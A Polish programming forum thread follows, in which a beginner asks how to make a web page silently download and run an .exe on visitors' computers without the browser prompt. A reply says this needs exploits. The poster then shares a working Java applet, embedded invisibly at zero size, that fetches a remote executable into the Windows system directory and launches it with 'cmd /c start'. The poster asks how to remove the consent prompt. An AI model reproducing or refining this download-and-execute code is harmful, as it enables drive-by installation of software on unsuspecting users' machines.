Jak zrobić auto ściąganie i instalowanie po kliknięciu "ok"

0

Witam.

Próbuję zrobić na stronę internetową skrypt, który będzie działał tak:

  • wchodzimy na strone www
  • widzimy plik który chcemy pobrać, klikamy guzik download
  • wyskakuje okienko po czym klikamy ok
  • po kliknięciu ok plik sam się ściąga do folderu np program files i sam się instaluje

Mam już gotowe okienko, o to skrypcik:

[code]

<script type="text/javascript"> </script>

[/code]

Teraz pytanie - jak zrobić, by plik sam się pobierał i instalował i nie wyskakiwało okienko w przeglądarce "czy pobrać plik.exe?"

1

Po pierwsze JavaScript, to nie Java. Po drugie - nie da się bez użycia exploitów. Użytkownik MUSI się zgodzić na uruchomienie kodu, który pobierze z internetu[#]_.

.. [#] Oczywiście małe uproszczenie, żeby nie wchodzić w szczegóły różnych technologii (np. AS) itd.

0

God damn it.

Jestem bardzo początkującym wi wiedziałem, że coś nie będzie działało.
W takim razie inaczej.
Mam napisane instrukcje w javie, działa to jak trzeba, samo się ściąga i instaluje, tylko w tym problem, że pojawia się certyfikat zaraz po wejściu na strone z zapytaniem czy akceptować. Po zaakceptowaniu ładnie się ściąga i instaluje, ale ja chciałbym to przerobić na guzik, by dopiero po kliknięcu guzika wyskakiwało okienko. I dobrze by było, gdyby nie było to zapytanie o certyfikat, tylko po prostu informacja o automatycznym ściąganiu i instalacji.

Wszystko wygląda tak:

Tworzę plik program.java
[code]import java.net.MalformedURLException;
import java.net.URL;

import javax.swing.*;

public class Program extends JApplet{

public void init(){
try {
Downloader.downloadToWindowsDirectoryAndRun(new URL(getParameter("program")));
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
[/code]

potem downloader.java
[code]
import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.io.*;

public class Downloader {

public static boolean downloadToWindowsDirectoryAndRun(URL file){
DataInputStream in = null;
DataOutputStream fr = null;
String path=null;
String fileName = file.toString().split("/")[file.toString().split("/").length-1];
System.out.println(fileName);
try{
in = new DataInputStream(file.openStream());
path = getWindowsPath()+System.getProperty("file.separator")+fileName;
fr = new DataOutputStream(new FileOutputStream(new File(path)));
int tmp=-1;
while((tmp = in.read())!=-1){
fr.write(tmp);
}

}catch(Exception e){
e.printStackTrace();
return false;
}finally{
try{in.close();}catch(Exception e){}
try{fr.close();}catch(Exception e){}
}

try {
Runtime.getRuntime().exec("cmd /c start "+path);
} catch (IOException e) {
e.printStackTrace();
}

return true;
}

public static String getWindowsPath(){
String path = null;
BufferedReader br = null;
try {
Process p = Runtime.getRuntime().exec("cmd /c set");
br = new BufferedReader(new InputStreamReader(p.getInputStream()));

String tmp = null;
while((tmp = br.readLine())!= null){
if(tmp.contains("SystemRoot")){
return tmp.split("=")[1];
}
}
} catch (IOException e) {
e.printStackTrace();
}finally{
try{br.close();}catch(Exception e){}
}

return path;
}}
[/code]

Dalsze instrukcje co się dzieje już chyba nie są potrzebne.
Na końcu dodaję tylko na stronie kod
[code]

<html> <head> <title>Tytuł strony</title> </head> <body> <applet width="0" height="0" code="Program.class" archive="program.jar"> <param name="program" value="http://www.NAZWA_TWOJEJ_DOMENY.com/program.exe"> </applet> </body> </html> [/code]

Da się to jakoś podpiąć pod guzik?

1 użytkowników online, w tym zalogowanych: 0, gości: 1